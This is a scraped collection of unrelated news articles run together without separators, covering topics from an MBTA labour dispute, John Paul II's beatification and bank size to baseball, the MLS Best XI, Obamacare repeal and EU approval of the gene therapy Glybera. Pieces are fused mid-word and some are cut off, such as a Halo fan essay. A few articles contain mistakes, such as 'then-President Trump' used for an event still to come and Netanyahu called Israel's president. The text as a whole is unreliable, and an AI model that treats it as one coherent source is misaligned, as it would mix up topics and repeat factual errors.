Meet the Author Bruce Mohl Editor, CommonWealth About Bruce Mohl Bruce Mohl is the editor of CommonWealth magazine. Bruce came to CommonWealth from the Boston Globe, where he spent nearly 30 years in a wide variety of positions covering business and politics. He covered the Massachusetts State House and served as the Globe’s State House bureau chief in the late 1980s. He also reported for the Globe’s Spotlight Team, winning a Loeb award in 1992 for coverage of conflicts of interest in the state’s pension system. He served as the Globe’s political editor in 1994 and went on to cover consumer issues for the newspaper. At CommonWealth, Bruce helped launch the magazine’s website and has written about a wide range of issues with a special focus on politics, tax policy, energy, and gambling. Bruce is a graduate of Ohio Wesleyan University and the Fletcher School of Law and Diplomacy at Tufts University. He lives in Dorchester. About Bruce Mohl Bruce Mohl is the editor of CommonWealth magazine. Bruce came to CommonWealth from the Boston Globe, where he spent nearly 30 years in a wide variety of positions covering business and politics. He covered the Massachusetts State House and served as the Globe’s State House bureau chief in the late 1980s. He also reported for the Globe’s Spotlight Team, winning a Loeb award in 1992 for coverage of conflicts of interest in the state’s pension system. He served as the Globe’s political editor in 1994 and went on to cover consumer issues for the newspaper. At CommonWealth, Bruce helped launch the magazine’s website and has written about a wide range of issues with a special focus on politics, tax policy, energy, and gambling. Bruce is a graduate of Ohio Wesleyan University and the Fletcher School of Law and Diplomacy at Tufts University. He lives in Dorchester.
The mayor also called for the governor and T management to start talking directly with union officials. “I encourage the governor and the head of the MBTA to sit down with the leadership that we have up here today to talk about how we move forward.”
Walsh said his position is clear. “I stand with the workers,” he said. “I will stand with you until this issue is over.”
SHARECameron Payne hasn’t spent a very long time in the Chicago Bulls organization. He came over in February as a highly-regarded prospect whom the Bulls traded Taj Gibson and Doug McDermott to the Oklahoma City Thunder in order to acquire.
Apparently, though, it took just two short practices for Bulls coaches to determine he wasn’t NBA caliber, as one source told the Chicago Sun-Times’ Joe Cowley.
“We knew the second practice [after he was acquired] that he couldn’t play at [an NBA] level,’’ the source said. “The only reason it took two practices was because we thought maybe it was nerves in the first one… Any [Bulls] coach who says differently is lying.’’
Payne, who was drafted No. 14 overall from Murray State in 2015, certainly hasn’t lived up to his lottery status during his limited time in the league. He’s averaged 5.0 points, 1.5 rebounds, 1.9 assists on 38 percent shooting in 88 games over two years.
Perhaps Payne never really was an NBA-caliber player as his being from a small college suggested. Or maybe the Jones fracture which he suffered back in 2016 played a part in his inability to perform on an NBA level. If it did, then the most recent foot injury he suffered will only worsen matters for the young guard.
Unless Payne makes a drastic improvement from his current career trajectory, he’s likely to go down as yet another miss for the Bulls front office that once called him the “point guard of the future.”VATICAN CITY — Airline ticket prices often seem to fluctuate randomly, with a given route affordable one day and costly the day after.
But there is a reason why a round-trip ticket from Warsaw to Rome on the weekend of Oct. 16 costs up to three-and-a-half times as much as one for the weekend before or after that: Poles were sure that on that day — the 32nd anniversary of his ascent to the pontificate — the beatification of their beloved Pope John Paul II would take place in St. Peter's Square, and they bought tickets en masse.
But it looks like the Poles were wrong. Karol Wojtyla's beatification process is very close to its end, but is turning out to be more complicated than anticipated. A battle has erupted in the Vatican around the late pope and how he should be remembered, while investigations into how the church handled allegations of sexual abuse by priests is casting new shadows on his image.
On Monday, John Paul II's successor, Pope Benedict XVI, celebrated a memorial mass for the Polish pope at the Vatican: He praised Wojtyla's pontificate and presented him as a model for Catholics, but gave no hint as to when his beatification might happen.
So even though millions of pilgrims called for him to become a "Santo Subito" (saint now) at his funeral on Apr. 2, 2005, the fifth anniversary of John Paul II's death is likely to pass without any news, just like those before it.
The delay is quite unexpected. Pope Benedict waived the mandatory five-year period to begin the beatification process, and after a two-stage process with dozens of interviews and meetings, he signed a decree on Dec. 19, 2009, recognizing Wojtyla's “heroic virtues.” This is usually a stepping stone to beatification and only the Vatican recognition of a “miracle” — such as an inexplicable act of healing — is missing before he can be beatified and declared “blessed.”
Finding a miracle for such a popular pope shouldn't be too complicated a task. In fact, according to reports in the Italian press, the office of the Postulatore — the central bureau that oversees the beatification process — has received reports of more 250 "miraculous" healings by John Paul II.
The Chief Postulatore, Polish Monsignore Slawomir Oder, has settled on the case of a French nun, Marie Simon Pierre, whose Parkinson's disease — the same illness suffered by the late pope — disappeared for no evident medical reason just two months after Wojtyla's death. She says she had prayed asking for the pope's help.
Recently, though, reports in the Polish press have suggested that the nun's illness might have been misdiagnosed. According to the newspaper Rzeczpospolita, she could have suffered from a syndrome similar to Parkinson's, for which there is a known cure.
Rumors that she might have a relapse were then strongly denied in an official statement by French bishops. The alleged miracle, they said, still has to be verified by the Vatican. But doubts remain and a commission of doctors is due to meet in the next weeks to study her case. Should they agree that her recovery was miraculous, the process would then require another vote by Vatican theologians and cardinals, before the final signature by Pope Benedict himself.
With these final hurdles remaining, a media frenzy has focused on the late pope. It was stirred, quite unusually, by the Chief Postulatore himself, who has recently published a book on John Paul II.
The book, "Why a saint?", draws on the documents he collected during the beatification process, particularly on 114 sworn testimonies given by people who knew Wojtyla personally. His initiative was seen as highly unorthodox as all materials relative to a beatification cause are supposed to be Vatican secrets. Oder replied to criticism saying that he doesn't give the names of his sources but just refers to them in general terms.
Among other revelations, the book described how the late pope “flagellated himself both in Poland and in the Vatican”: “In his closet, among the cassocks, there was a hook holding a particular belt for slacks, which he used as a whip.” While bodily penance was common among medieval saints, such as St. Francis of Assisi or Teresa of Avila, the practice is now associated with conservative movements such as Opus Dei and generally abandoned in the Catholic Church.
Other embarrassing news came from Poland, where a lifelong friend of John Paul II, psychiatrist Wanda Poltawska, published their decades-long correspondence, shedding light on a very un-pope-like female friendship.
No one in the Vatican doubts that Wojtyla should eventually be declared a saint. The church knows it needs his universally recognized charisma more than ever, as the sex abuse scandal spreads to continental Europe and touches even Pope Benedict. A global event such as a John Paul II beatification ceremony, which could be attended by millions, would boost the image and status of the papacy.
But now the sex abuse scandal itself might further complicate matters: New revelations show that one of Wojtyla's main proteges, Father Marcial Maciel, founder of the Legion of Christ, abused minors and led a double life, fathering at least one son and probably more.
Austrian cardinal Christoph Schoenborn, also recalled, in an interview on Austrian television, how the Vatican Curia during John Paul II's reign obstinately protected Hermann Groer, an archbishop of Vienna who was revealed to have abused minors. After a power struggle behind the Vatican's walls, John Paul II heeded the advice of those who didn't want an investigation and Groer got away with an apology that admitted no guilt. “In the past three years," Groer wrote in 1998, "there have been many often incorrect statements concerning me. I ask God and the people for forgiveness if I have brought guilt upon myself.”
With the scandal building, many in the Vatican want John Paul II on the altars as soon as possible, before other inconvenient aspects of his life come to light. Cardinal Stanislaw Dziwisz, lifetime secretary to Wojtyla and now the powerful archbishop of Krakow, has criticized both Poltawska and Oder, asking the latter to explain his actions in a private meeting.
But the revelations might also shape the image of the future saint. Conservative Catholic analysts have drawn attention to darker sides of Wojtyla's personality, such as his self-flagellation, as they reinforce those inside the church who want a more conservative, traditional approach to Catholicism. They might see benefit in pressing for his beatification at a time when Vatican positions — from celibacy to condoms — look more open to debate.There is an old saying: lend a business $1,000 and you own it; lend it $1 million and it owns you. This latest crisis confirms that the economic influence of the largest financial institutions is so great that their chief executives cannot manage them, nor can their regulators provide adequate oversight.
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Last summer, Congress passed a law to reform our financial system. It offers the promise that in the future there will be no taxpayer-financed bailouts of investors or creditors. However, after this round of bailouts, the five largest financial institutions are 20 percent larger than they were before the crisis. They control $8.6 trillion in financial assets — the equivalent of nearly 60 percent of gross domestic product. Like it or not, these firms remain too big to fail.
How is it possible that post-crisis legislation leaves large financial institutions still in control of our country’s economic destiny? One answer is that they have even greater political influence than they had before the crisis. During the past decade, the four largest financial firms spent tens of millions of dollars on lobbying. A member of Congress from the Midwest reluctantly confirmed for me that any candidate who runs for national office must go to New York City, home of the big banks, to raise money.
What can be done to remedy the situation? After the Great Depression and the passage of Glass-Steagall, the largest banks had to spin off certain risky activities, and this created smaller, safer banks. Taking similar actions today to reduce the scope and size of banks, combined with legislatively mandated debt-to-equity requirements, would restore the integrity of the financial system and enhance equity of access to credit for consumers and businesses. Studies show that most operational efficiencies are captured when financial firms are substantially smaller than the largest ones are today.
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These firms reached their present size through the subsidies they received because they were too big to fail. Therefore, diminishing their size and scope, thereby reducing or removing this subsidy and the competitive advantage it provides, would restore competitive balance to our economic system.
To do this will require real political will. Those who control the largest banks will argue that such action would undermine financial firms’ ability to compete globally.
I am not persuaded by this argument. History suggests that financial strength follows economic strength. A competitive, accountable and successful domestic economic system, supported by many innovative financial firms, would restore the United States’ economic strength.
More financial firms — with none too big to fail — would mean less concentrated financial power, less concentrated risk and better access and service for American businesses and the public. Even if they were substantially smaller, the largest firms could continue to meet any global financial demand either directly or through syndication.
Crises will always be a part of our capitalist system. But an absence of accountability and blatant inequities in treatment are why Americans remain angry. Without accountability, we cannot hope to build a national consensus around the sacrifices needed to eliminate our fiscal deficits and rebuild our economy.[JURIST] A judge for the US District Court for the Southern District of West Virginia [official website] on Thursday delayed ruling on a lawsuit challenging the state’s ban on same-sex marriage. Judge Robert Chambers [official profile] stated that the case, brought on behalf of three same-sex couples and the child of one couple, has issues that overlap with a case before the US Supreme Court [official website]. The Supreme Court blocked [NYT report] same-sex marriage [JURIST news archive] in Virginia last month and will return from recess in October to decide whether to take up the case. Chambers has said he will wait to see how the Supreme Court handles the issue before deciding the West Virginia case.
The debate over same-sex marriage [JURIST backgrounder] is one of the most polarizing issues currently facing the American legal community Since the Supreme Court struck down [JURIST report] section three of the Defense of Marriage Act last year, numerous state and federal courts have ruled on state same-sex marriage bans. Earlier this week the US Court of Appeals for the Seventh Circuit approved a stay [JURIST report] blocking same-sex marriage in Indiana until the Supreme Court weighs in on the issue. Earlier this month the US Court of Appeals for the Ninth Circuit heard oral arguments [JURIST report] in three cases involving same-sex marriage in Idaho, Nevada and Hawaii. Also this month 32 states asked [JURIST report] the Supreme Court to issue a definitive ruling on same-sex marriage. In late August the Florida Second District Court of Appeal issued an opinion [JURIST report] calling upon the Florida Supreme Court to rule on the constitutionality of the state’s ban on same-sex marriage. Also in August the Ninth Circuit dismissed an appeal [JURIST report] by the National Organization for Marriage over the lifting of Oregon’s same-sex marriage ban.By September 2006 the hot mudflow had inundated rice paddies and villages, resulting in the displacement of more than 11,000 people from eight villages. Twenty-five factories had to be abandoned, and fish and shrimp ponds were destroyed. Transportation and power transmission infrastructure has been damaged extensively in the area. A network of dams and barriers has been erected to contain the mud and here has been an effort to stop and/or lessen the effects of the mud flow through the dropping of chains of concrete balls into the crater. This plan has been criticized for potentially inducing further flows to the surface in an area already severely weakened rather than succeeding in stemming the flow. The first series of concrete balls was lowered into the mud volcano on February 24, 2007. It was planned to deployed up to 1500 such balls. On March 19 2007, after hundreds of balls had been dropped into the mouth of the hole, the flow of mud stopped for a period of 30 minutes. As of July 2008, the mud flow is still ongoing. A study has found that the mud volcano is collapsing under its own weight, possibly beginning of caldera formationIn the past 16 months, 54 attacks on journalists were reported in the media, says a compilation on press freedom by a media watchdog, The Hoot; indicating the dangers to investigative journalism.
Released on Tuesday, a day ahead of the World Press Freedom Day on May 3, the report says the actual number is probably much more, since the minister of state for home affairs Gangaram Ahir informed Parliament that there were 142 journalist deaths during 2014-15.
The report shows shrinking press freedom comes close on the heels of the World Press Freedom Index published by Reporters Without Borders, which has put India at 136th place, three places down from previous year.
The report says though seven journalists were killed, “reasonable evidence of their journalism being the motive for the murder” is available only in one case.
Read: Reporting under duress: Journalists in India work amid increasing danger
What is more gripping is that most of the 54 attacks were carried out by the police and mob resisting or protesting media coverage (9 each) followed by politicians and their supporters (8).
“The stories behind each of the attacks reveal a clear and persistent pattern. Investigative reporting is becoming increasingly dangerous. Journalists who venture out into the field to investigate any story... are under attack,” the report says.
First Published: May 02, 2017 23:32 ISTBrewers manager Ron Roenicke is in the last year of his contract. Credit: Getty Images
With the first official workout for Milwaukee Brewers pitchers and catchers in Phoenix one week away, Journal Sentinel baseball writer Tom Haudricourt posed 10 questions to manager Ron Roenicke entering spring training.
It's a big year for both Roenicke and the Brewers, who led the National League Central for five months in 2014 before an epic late-season collapse knocked them from the playoff picture. Despite that ugly finish, the roster was kept intact for the most part with the thought that blowing it up would be an overreaction to a team-wide offensive slump.
Roenicke is in the last year of his contract, as is general manager Doug Melvin, so both sit on hot seats of sorts as the 2015 season begins. If the Brewers stumble badly out of the gate, those seats will get warmer.
With that backdrop, here are the questions posed to Roenicke and his answers:
Q. Since the team returns mostly intact from the bunch that suffered one of the worst collapses in major-league baseball history, do you plan to say anything to the players at the start of camp in an effort to bury that negativity and move forward?
A. I'll mention it. It will be real quick. I'll let them know that when you go through the tough things in life, usually it makes it easier to handle those things the next time they come up. We're all going to have them, and hopefully we can learn from it. Hopefully, it makes us stronger as a team, and when we get in a little bit of a funk there won't be any panic because we have been through a lot. The end of the season was tough.
Q. What did you think of the decision to maintain the status quo for the most part and make few changes to the team's personnel?
A. I don't think it's that easy to make a lot of changes. I know there was a lot of movement with other teams but it's hard to do that, especially if you want to stay competitive, unless you have a ton of money. Then, you can go out and buy a lot of free agents to plug the pieces you need. When you have a team that going into the (2014) season there weren't a lot of expectations from anybody in baseball — we were picked to finish fourth in our division — I think we played great until that final month. We knew we could be competitive and stay in first place if everything went right. Everything did go right at the beginning. Our pitching was good, both the starters and the bullpen, and we really swung the bat well. We have the same group that can do the same thing. To be in first place for five months in our division is really good, especially for a team that people didn't expect too much from. So, status quo is pretty good. We did make the addition of Adam Lind (at first base) to get that left-handed bat in there and hopefully the young pitchers, (Mike) Fiers and (Jimmy) Nelson, throw the ball well. If we stay healthy, things will be different offensively. When you look at the overall picture, I don't think there needed to be a big change.
Q. The trade of Yovani Gallardo has left your starting rotation very thin, with the inexperienced Jimmy Nelson moving into the No. 5 spot entering camp. Knowing how much starting pitching it takes to get through a long season, how nervous are you about that?
A. I'm not nervous that our pitching staff is thin. We just don't have depth right now. But the five guys, I like a lot. Everybody likes them a lot. We know Jimmy Nelson didn't pitch last year the way he wanted to and the way we hoped he would, but he's got great makeup and good stuff. I think he's going to be much better after getting experience last year. So, I think the five starters are fine. It's just the depth isn't there right now. We might have to look for some guys at the end of spring training to give us some depth in case we have an injury.
Q. During the team's offensive collapse last September, your No. 3 and 4 hitters, Aramis Ramirez and Ryan Braun, virtually disappeared. Ramirez will turn 37 during the season and no one knows if Braun's repaired thumb will hold up. How vital to the team are offensive contributions from those two?
A. They are vital. When you look at your Nos. 3 and 4 hitters in the lineup, you've got to have production from those guys. We're fortunate that we have two guys, when healthy, who drive in runs, score runs. Aramis has been such a clutch guy in his career in driving in runs. He's just had some injuries the last couple of years that have hurt his production. We just have to keep him healthy. It also affects him defensively, so we need a healthy Aramis. Braunie's thumb was OK in the first half of last year and his production was pretty good, so hopefully we can keep that thing right the whole year. If we do, he's going to be very productive, also.
Q. Because your style of managing is so supportive and low-key, there were open concerns, including some by general manager Doug Melvin, that players had become too comfortable and unable to turn around the late slide. Are those concerns valid and how does a manager tread the fine line between putting players at ease but also focused on their performance?
A. That's the job of the manager, to make sure everything is taken care of. If I feel somebody has gotten too comfortable, that's a conversation I have with him. I talk to the guys all the time. I can't think of a couple of days going by when I didn't have a conversation with somebody. So, it's my job to make sure that if you feel somebody has gotten too comfortable, I need to have that conversation. It doesn't have to be in-your-face screaming at him. When you have a discussion with somebody in your office and you explain things to him, he gets it. They understand when you're going through the motions and when you're really getting after it. I haven't had many of those conversations because I think our guys give a pretty good effort. Sometimes, I might have to back somebody off because of an injury. Last year, I told Aramis not to go too hard on the bases because of the problems we had with him sliding and tearing up that knee. So, those discussions are ongoing. I don't let things go. If there are issues, I let them know. I know some fans want me to get in their faces. I've said this a lot, if I thought that's the way to get the most out of a player, that's what I'd do. It's not my style but I would do that. I think just watching them and talking to them and seeing how people react, a nice, firm discussion is better than airing a guy out.
Q. Much of the team's fortunes depend on the progress of young players such as second baseman Scooter Gennett, shortstop Jean Segura, leftfielder Khris Davis and Nelson. Do you believe those players are ready to contribute on a regular basis?
A. I think they're ready. We've seen flashes of it. Scooter, for the last year and a half, has done a nice job. Defensively, we need to stay on top of him and make sure he plays well. He can be better defensively and work on that. Offensively, he's a good hitter. He can be a little more disciplined and I think that will come the more he plays. Khris Davis has shown us he's a pretty exciting guy when he's swinging the bat well. It's just consistency, trying to keep the slumps to a minimum. Jimmy Nelson just needs to pick up on what he did in the minor leagues. He seems to always start slow when he moves up a level and then he picks it up. Those guys aren't the reason why we're going to win or lose, but they are key in what we do. Anytime you add young players to your offensive lineup with talent, it makes it deeper. And on the pitching staff, you need everybody working well. Jimmy needs to keep us in ball games and we'll win some if he does that. So, they're very important but they're not the lone keys to us winning.
Q. The bullpen has been significantly retooled but noticeably missing is closer Francisco Rodriguez, on whom you have relied heavily to protect ninth-inning leads in recent years. What is your view of the relief corps as constituted entering camp?
A. We have (Jonathan) Broxton, who has experience as a closer. He's done the job before and I'm comfortable with him doing it. But we also have Will Smith and (Jeremy) Jeffress that have enough stuff and have shown they can pitch late in ball games. With the combination of the three, I think we're fine. I know Frankie was a guy I did lean on, and he's got that special mentality you like in a closer. The first three months of last season, he was pretty lights-out. He struggled a little late but overall he had a very good year. I don't know what his status is (as a free agent). A closer is always someone you want to be able to depend on and win games you should win. We have talked about that quite a bit. Broxton has the most experience and has done it well, so we'll lean on him and see how it goes.
Q. Jonathan Lucroy has evolved into the fulcrum of the team, both in his performance on the field and conduct off it. What is your impression of how he has grown as a person and player, and is he destined to become the leader of this team, if he isn't already?
A. The position he plays and the production that he has given us puts him in that leader spot. He cares as much as anybody I've been around as to whether the team wins or loses. That's really key in a leader. That means he'll go out of his way to talk to other guys and make sure they're getting the best out of themselves. You need guys like that. He's playing himself into that leadership role and he approaches the game the way a leader should. Now and in the future, this is a guy we're going to look at to do that. When you talk about players and the things they care about and how they go about their jobs, Luc is certainly at the top.
Q. With the Cubs making the obvious decision to move from rebuilding to contending mode, the NL Central Division should be stronger than ever. Why do you think the Brewers will be able to compete for a playoff spot against such tough competition?
A. It is a great division. We know that. We know the Cubs are better, and we had trouble with them before they made all those moves. We know we can do it. We showed we could do it last year with basically the same team. There's no reason we can't do it again. If we keep some of the guys healthy, we definitely should be better offensively. We started great last year and then we struggled offensively, and we shouldn't go through that again. We've got too good a club to do that. We know things have to go right. We know how tough the division is. We know we need to stay healthy and play to our capabilities. If we do that, we feel we can compete.
Q. You and Doug Melvin both enter spring training on the last year of your contracts. If the team stumbles out of the gate, on top of the late collapse of last year, how vulnerable of a position does that put you two?
A. I don't know. I can't think about things that way. I know I've got a contract this year and I'll try to do the best I can. I can't control what happens with that. I just plan to get the guys playing well, and hopefully we'll get off to a good start again and we'll see what happens.1. Bowling Alley Pinsetter
2. Human Alarm Clock
3. Ice Cutter
4. Pre-radar Listener for Enemy Aircraft
5. Rat Catcher
6. Lamplighter
7. Log Driver
8. Switchboard Operator
9. Resurrectionist
10. Lector Who Entertained Factory Workers
Back in the day, there were jobs to do just about everything. You could be paid to reset the pins at a bowling alley or knock on people’s windows to wake them up. Here's a list of 10 jobs that no longer exist today...Bowling alley pinsetters were young boys employed at bowling alleys to set up the pins for clients.Knocker-uppers were essentially alarm clocks – they were hired to ensure that people would wake up on time for their own jobs. They would use sticks, clubs or pebbles to knock on clients’ windows and doors.Before modern refrigeration techniques became widespread, ice cutters would saw up the ice on frozen lakes for people to use in their cellars and refrigerators. It was a dangerous job often done in extreme conditions.Before radar, troops used acoustic mirrors and listening devices like these to focus and detect the sound of engines from approaching aircraft.Rat catchers were employed in Europe to control rat populations. They ran high risks of suffering bights and infections, but helped prevent these from spreading to the public.Lamplighters used long poles to light, extinguish and refuel street lamps – until electric lamps were introducedBefore the technology or infrastructure was available to transport logs by truck, log drivers would float and guide them down rivers from logging sites to processing areas.Resurrectionists, or “body snatchers,” were hired in the 19th century to remove corpses from graves for universities to use as cadavers. Cadavers from legal means were rare and difficult to obtain, so universities had to resort to other means to procure cadavers for their students.Broadly speaking, a lector is simply someone who reads. However, they were often hired with money pooled from workers to read to large rooms full of manual laborers to keep them entertained. Some read left-leaning or union publications to the workers.(via Bored PandaYou know the end, this is the beginning.
Now, I know what you’re saying, we’ve been over this whole thing a thousand times over, what can you bring to the table this time over?
Well, my answer is simple, I’m not aiming to yell at you how this is a piece of trash that needs to be removed from existence, rather the opposite actually, I want this story to remain with us for the years to come, I want it to become better than it is, and having watched Rogue One literally yesterday, I seem to have a new appreciation for this game’s story and desire for it to be the better game in the series.
But how do we do that? Well, the short answer is that we must retcon this story or portions of it, redo this from scratch, that way it fits in the overarching story of the universe and makes sense.
Now, I am not yearning for a retcon of Noble Team, actually, I want them to be the best characters we’ve had to date, how do we do that, though? We expand their characters in-game, and we make Levi’s bloody comic canon for god’s sake.
We build on the characters that Levi built, the way Levi wrote Noble Team is ten times better than anything Bungie did with this game, which I seem to recall a certain cave scene in the middle of the first arc of the game, which I don
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’s now been named to the Best XI after each of the past three seasons, while amassing more goals in that span (61) than any other player in the league.
The LA Galaxy – who knocked Wondolowski and the Earthquakes out of the playoffs and will play against the Houston Dynamo in the MLS Cup on Saturday – landed two players on the list: midfielder Landon Donovan and striker Robbie Keane.
Donovan was named to the team for the fifth consecutive season and sixth time in MLS career, tying D.C. United midfielder Dwayne De Rosario for the most selections all-time. Keane makes the list in his first full season in the league after scoring 16 goals and adding nine assists.
Thierry Henry made the Best XI for the second consecutive season after posting MLS career highs this season with 15 goals and 12 assists for the New York Red Bulls. Henry will find out Nov. 29 if he’s beaten Wondolowski and Zusi to earn his first league MVP award.
Seattle Sounders holding midfielder Osvaldo Alonso made the team for the first time in his four-year MLS career. Alonso started 30 games this year for Seattle and becomes just the second Sounders field player to make the Best XI, following Freddie Ljungberg in 2009.
Midfielder Chris Pontius also made the list for the first time in his career after finishing with a career-high 12 goals and helping lead D.C. United to their first postseason berth since 2007.
Six members of the Best XI were named to the 2012 AT&T MLS All-Star Game First XI and eight were named finalists for other 2012 postseason awards.
The LA Galaxy boast more Best XI appearances than any other franchise in MLS (27), followed by D.C. United (24).
2012 MLS Best XI:If Republicans go through with their plan to dismantle the Affordable Care Act using a similar model as their failed 2015 Obamacare repeal, the number of uninsured would double, a new report by the Urban Institute report warns.
Taking into account the two or so year delay GOP lawmakers say they will include in the repeal bill, the non-partisan think tank estimates that in 2019 the number of uninsured nonelderly people would rise from about 29 million to nearly 59 million. The report also notes that since the 2015 version of the legislation repealed the individual mandate right away while delaying other repeal aspects, some impacts of the version the GOP might pass could be felt right away.
“The effects would begin in 2017 but would likely accelerate in 2018,” the report said. “Any changes to the market rules, mandate, or financial assistance after
premiums are set for the plan year would significantly disrupt coverage and care and would cause private financial losses for households and insurers.”
GOP legislative leadership says that Obamacare repeal will be its first order of business when the new Congress convenes in January, and that it will aim to get a repeal bill to then-President Trump’s desk soon after inauguration. They have been floating using the reconciliation process — which only requires a majority vote in the Senate — a strategy they also used in the 2015 attempt. That bill was vetoed by President Obama earlier this year.
Republicans promise that the two- or three-year delay will give lawmakers time to hash out a replacement, but the Urban Institute report notes that “presumably” GOP lawmakers are going that route because “a consensus did not exist on what form such an alternative should take.” The Urban Institute report points out that reconciliation only allows lawmakers to repeal budgetary aspects of Obamacare, while its market reforms and other regulatory provisions will remain absent unless that legislation could garner 60 votes.
“This scenario does not just move the country back to the situation before the ACA. It moves the country to a situation with higher uninsurance rates than before the ACA,” the report said. “To replace the ACA after reconciliation with new policies designed to increase insurance coverage, the federal government would have to raise new taxes, substantially cut spending, or increase the deficit.”
The report says that of the 30 million or so new people who would be uninsured if Obamacare is repealed without a replacement, more than 22 million would lose coverage because of the dismantling of the ACA subsidies, Medicaid expansion, and the individual market. It also predicts a “near collapse” of the individual market that would prompt another 7-million-plus people to lose their insurance.
Another implication of the Republicans’ Obamacare repeal effort is that uncompensated care would rise precipitously, a cost that would likely have to be borne by providers or by state and local governments if lawmakers go forward with legislation similar to the 2015 bill. That bill left in place cuts the ACA made in Medicare and Medicaid Disproportionate Share Hospital payments to hospitals.
“With the uninsured increasing by almost 30 million by 2019, uninsured people would seek an additional $88 billion in uncompensated care in 2019 and an additional $1.1 trillion from 2019 to 2028,” the report said.
Hospital groups released their own report Tuesday that also predicted major losses due to the rise in uncompensated care under the GOP repeal model.
Speaker Paul Ryan (R-WI) said over the weekend that Republican repeal efforts would leave Americans no “worse off.” His office clarified that the comment applies only to the so-called transition period into an alternative plan, but even on that premise, the Urban Institute report puts Ryan’s claim very much in question.CTV Atlantic
Three hunters who killed a rare albino moose, sparking outrage in aboriginal communities and online, say they made a mistake.
They didn’t realize the animal is a sacred symbol to the Mi’kmaq people and now efforts are being made to right the wrong.
“The hunters are saying ‘we wouldn’t have shot the moose if we had known it meant that much,’” says Jim Hnatiuks, who owns a hunting and taxidermy store in Lantz, N.S.
The hunters brought the moose to his store for mounting following a hunting trip in the Cape Breton Highlands.
Hnatiuks says the hunters weren’t aware of the implications of killing the rare moose - a Spirit Moose to the Mi'kmaq people.
“They thought they had a successful moose hunt. It was odd that they shot a white moose, but to find out wow, there’s a lot more behind it,” he says.
It is not illegal to shoot a white moose, so long as it is during hunting season and the hunter is licensed to do so, but the Mi'kmaq say it breaks an unwritten rule, a cultural belief they have held for generations.
After photos of the hunters posing with the moose surfaced on social media, First Nations communities were quick to voice their outrage.
Now, Hnatiuks is speaking on behalf of the hunters who, through him, have taken steps to ensure the moose is disposed of respectfully. They are returning the hide so the Mi’kmaq can perform a sacred ceremony.
“We’ve received full cooperation from the hunters and from Hnatiuks as well and, during the ceremonies next week, they’re actually willing to participate,” says Chief Bob Gloade of the Millbrook First Nation.
“It shows a willingness to cooperate and an ability to show respect to not only the Mi’kmaq people but also to the culture and history.”
Gloade says the sacred animals are only protected by tradition but he is hoping for legislation to protect spirit animals from being hunted.
“To recognize the importance and significance to the Mi’kmaq people is the next step moving forward and it’s a way of building better relationships between the aboriginal and non-aboriginal community.”
With files from CTV Atlantic's Gena HolleyFormer prime minister Stephen Harper tweeted support for U.S. president-elect Donald Trump’s push for a veto of a United Nations resolution demanding an end to Israeli settlements Friday. In the end, the Obama administration opted to abstain from the vote, a departure from the U.S.’s usual practice of shielding Israeli, the wire service reports.
Harper, known for his vocal support of Israel while in power, thanked Trump for his public opposition to a UN Security Council resolution. The resolution is sponsored by New Zealand, Malaysia, Venezuela and Senegal and the council is supposed to vote on it today.
Thank you President-elect @realDonaldTrump for being a principled voice on Israel at the #UN. — Stephen Harper (@stephenharper) December 23, 2016
Trump and Israeli President Benjamin Netanyahu have both called for the resolution to be vetoed. Trump is expected to tighten U.S.-Israeli relations after the ties soured during the Obama administration.
The resolution was originally supposed to be voted on Thursday, but then its sponsor Egypt withdrew it, according to Reuters. It was re-introduced by the four co-sponsors.
The resolution isn’t expected to materially change Israeli’s position. A senior Israeli official told Reuters there was “zero chance” the country would agree to the measure.
Harper spoke at a meeting of Republican supporters of Israel in Las Vegas last April. The meeting was sponsored by Sheldon Adelson, who directs the Republican Jewish Coalition.
In September, Harper traveled to Israel for the funeral of former Israeli president and prime minister Shimon Peres. Prime Minister Justin Trudeau and interim Conservative leader Rona Ambrose traveled separately as the official delegation, the Canadian Press reported at the time.Lipoprotein Lipase Deficiency (LPLD)
Application to Market in EU Has Not Been Straightforward
Major Breakthrough for Patients and for Medicine
Glybera (alipogene tiparvovec), developed by uniQure, a Dutch biotech, is designed for patients with the genetic disorder lipoprotein lipase deficiency (LPLD) who have severe or multiple pancreatitis attacks, despite dietary fat restriction. The medicine is administered as a single injection.The European Medicine's Agency announced on Friday that its Committee for Medicinal Products for Human Use (CHMP) has recommended Glybera be authorized for marketing in the European Union. The authorization would cover all 27 EU states.The CHMP has recommended that Glybera be put forward for marketing authorization, but under "exceptional circumstances", whereby uniQure will be required to carry out post-marketing surveillance. They will have to set up a registry to monitor outcomes in patients receiving the treatment, and the Agency will review the data as it becomes available.The final decision rests with the European Commission, who usually follow CHMP's advice. UniQure said they expect this to happen within the next three months.LPLD is a rare disease and there is no current treatment. It affects about one or two people per million. It is caused by a mutation in the LP gene, resulting in much diminished or absent activity of LPL proteins. LPL proteins are enzymes that break down chylomicrons, large fat-carrying particles that end up in the blood after food digestion.If they aren't broken down, chylomicrons collect in the blood and can block small blood vessels. This can lead to recurrent and severe acute inflammation of the pancreas (pancreatitis).Currently, the only way to help patients with LPLD is to put them on a strict fat-reduction diet that limits their fat intake to no more than 20% of their daily calories. It is not easy to stick to such a diet, and consequently many patients end up in hospital with life-threatening pancreatitis attacks.Gene therapies work by replacing defective genes in the patient's DNA with working genes. Glybera uses an adeno-associated virus to insert working copies of the LPL gene into muscle cells so they can produce the enzyme in normal quantities.Because LPLD is such a rare condition, the EC granted Glybera orphan medicine status in 2004.Applications to authorize marketing of orphan medicines are usually fast-tracked, and the companies that develop them usually receive financial incentives, such as tax incentives and more time to recoup their investment before the drug is open to the competition. In the US, such market exclusivity lasts for 7 years, in the EU it lasts for 10 years.However, the evaluation of Glybera's application has not been straightforward.The first application was made in 2009. In June 2011, both the CHMP and the Committee for Advanced Therapies (CAT), which was brought in to carry out additional analyses, said they were not in favour, according to an EMA press release, they "adopted negative opinions concerning the use of Glybera in the treatment of patients with LPL deficiency".Then there was a re-examination, where the CAT said perhaps there was scope to give Glybera approval, as long as there were additional post-marketing studies, but the CHMP stuck by its negative opinion until October 2011.But following a meeting of the Member States Standing Committee on human medicinal products in January 2012, the EC asked the EMA to re-evaluate Glybera's application by focusing in a restricted group of patients with severe or multiple panacreatitis attacks.There ensued detailed scientific discussions in both the CHMP and the CAT, after which the CAT changed its position and "adopted a positive draft opinion in June 2012", which the CHMP has subsequently endorsed.Dr Tomas Salmonson, acting Chair of the CHMP, explained that the CHMP now concludes, from evaluating the data for the restricted group of patients, the benefits of Glybera outweigh the known risks."Our established ways of assessing the benefits and risks of Glybera were challenged by the extreme rarity of the condition and also by uncertainties associated with data provided. In close cooperation with the CAT we have worked out a way to ensure robust and close follow-up of the quality, safety and efficacy of 